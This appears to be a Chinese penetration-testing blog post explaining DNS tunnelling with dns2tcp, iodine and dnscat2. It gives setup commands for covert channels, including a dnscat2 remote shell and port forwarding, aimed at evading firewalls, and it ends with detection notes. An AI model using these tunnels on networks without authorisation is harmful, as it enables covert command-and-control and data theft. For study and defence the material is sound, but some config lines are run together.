内网渗透-dns隧道应用与防御

  • A+
所属分类:安全文章



0x01 前言


上一节介绍了icmp隧道,这一节介绍另外一种经常会见到的隧道技术-DNS。DNS隧道在工作还是很常见的,好多内网的挖矿都是通过DNS协议去逃避一些检测,而这个技术也是很早就有的,大多数防火墙和入侵检测设备对DNS流量是放行的,在实战中遇到反弹权限不回来,就可以尝试建立dns隧道。




0x02 适用环境


上层协议例如HTTP、HTTPS协议、正反向端口转发都失败时。




0x03 前置准备




域名购买:https://www.freenom.com/ 可以白嫖一年

内网主机:kali

公网vps:国内外均可





配置解析记录

第一条NS解析是在告诉域名系统,想要知道“dnstcp.nsccna.ga”的IP地址,就去问“test.nsccna.ga”。


第二条A类解析是在告诉域名系统,“test.nsccna.ga”的IP地址是“xx.xx.xx.xx”。


内网渗透-dns隧道应用与防御


在cloudflare上设置A记录,是找不到我们自己的主机的,然而免费的域名提供商freenom没找到添加ns记录的地方。最后选择了godaddy.com。


还是按上面设置,然后抓53端口的数据包,看到有内容过来,那么准备工作就做好了。


内网渗透-dns隧道应用与防御





0x04 工具介绍


4.1 dns2tcp


Dns2tcp是一个通过DNS中继TCP连接的工具。安装的话,编译安装或者直接apt安装都行,配置服务端,新建一个配置文件,内容如下:

cat > ~/.dns2tcp.conf << EOF

listen = x.x.x.xport = 53user = nobodykey = whateveryouwantchroot = /var/empty/dns2tcp/domain = dns2tcp.hsc.frresources = ssh:127.0.0.1:22 , smtp:127.0.0.1:25,pop3:10.0.0.1:110, ssh2:[fe80::1664]:22EOF


启动服务端

dns2tcpd -f dns2tcp.conf -F -d 2


有时候53端口可能会被systemd-resolved占用掉,所以需要先停止该服务。另外一直报Error socket.c:107 bind error错误,就修改监听地址为0.0.0.0


内网渗透-dns隧道应用与防御


启动客户端

dns2tcpc -r ssh -z dns2tcp.kxxxxb.xyz -l 2333 -d 2


内网渗透-dns隧道应用与防御


就可以连接了。


内网渗透-dns隧道应用与防御


命令含义

-F 启动时强制显示在前端

-d debug等级,总共3级


客户端命令

可以通过-h查看详情

抓包看一下详细内容


内网渗透-dns隧道应用与防御


可以看到大量的dns的txt查询,同时会带着域名。所以在蓝队通过流量分析设备就能发现,估计现在流量检测设备瞬间就报警了。



4.2 iodine


iodine也是一个常用的DNS隧道软件,通过dns传输ipv4数据。github上面有很详细的介绍了,直接apt安装就行。


服务端

iodined -f -P YourPassword 172.168.100.1 xx.xx.xx

# -f 开启前台显示

# -P 连接密码,自己设置

# 172.168.100.1 是自设的内网网段 也可用10.10.10.1之类,不和本机冲突就行


客户端

iodine -f -d 隧道名 服务端IP xx.xx.xx

成功后就可以看到网卡多了一个隧道


内网渗透-dns隧道应用与防御


抓包看了下,发现是直连的。会暴露IP。同时查询是NULL,且会使用不定前缀的子域名。


内网渗透-dns隧道应用与防御


客户端连接命令不加服务端IP,但是这次需要制定之前配置好的域名。


内网渗透-dns隧道应用与防御



4.3 dnscat2


Dnscat2服务端的是交互模式,类似上一篇中的icmpsh工具,通过走dns流量来实现命令控制

安装:服务端需要ruby环境和gem工具,先apt安装一下

gem install bundlergit clone https://github.com/iagox86/dnscat2.gitcd dnscat2/server/bundle install如果报错请安装ruby-devapt install ruby-dev客户端根据不同环境编译即可,linux下用make编译,windows下用Visual Studiogit clone https://github.com/iagox86/dnscat2.gitcd dnscat2/client/make


服务端启动命令

ruby ./dnscat2.rb (domain)


执行后,会提示客户端所需要执行的命令,当不加域名时采用直连的方式。


内网渗透-dns隧道应用与防御


启动后可以执行先执行测试。


内网渗透-dns隧道应用与防御


然后客户端执行启动命令即可,连接后服务端会收到一个session。


内网渗透-dns隧道应用与防御


执行session -i 1就可以进入执行命令,可以执行help看下可以执行的命令。


内网渗透-dns隧道应用与防御


执行shell命令后可以返回一个shell session,需要返回到初始页面进行切换。


内网渗透-dns隧道应用与防御


执行session -i 3进入后,就可以获取一个交互式shell

也可以执行listen命令,进行转发类似于ssh

listen 127.0.0.1:2222 10.10.10.10:22  \监听2222端口,转发到内网10.10.10.10:22


抓包看下数据流


内网渗透-dns隧道应用与防御


可以看到是通过不同dns请求来传输数据的。





0x05 小结




dns隧道特征同样明显,因为会大量处理相关请求

dns2tcp除了txt还支持key查询,iodine支持多种协议

dnscat2可扩展,支持自定义端口,默认加密








0x06 防御检测


6.1 DNS会话中数据包的总数

正常DNS会话比较简短,随着一次DNS解析任务结束而结束。

DNS隧道木马的会话随着木马的生命周期结束而结束,但在整个木马的生命周期里会向CC服务器发送心跳包,传输信息,资源文件等行为。CC服务器也会发送控制指令。所以在DNS隧道木马的会话中DNS报文数量大。


6.2 隧道消息类型

在正常的DNS流量中。A记录类型的流量占20%-30%,CNAME记录为38%-48%,AAAA记录占25%,NS记录只有5%,TXT记录只有1%-2%。然而为了获取更高的带宽,一部分的DNS隐蔽信道工具如Iodine。在默认配置下会使用TXT或NULL等不常用的记录类型。


6.3 域名固定部分不变

奇奇怪怪的子域名前缀,域名部分不变





0x07 参考文章


DNS 隧道通信特征与检测



end



内网渗透-dns隧道应用与防御

本文始发于微信公众号(雷石安全实验室):内网渗透-dns隧道应用与防御

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: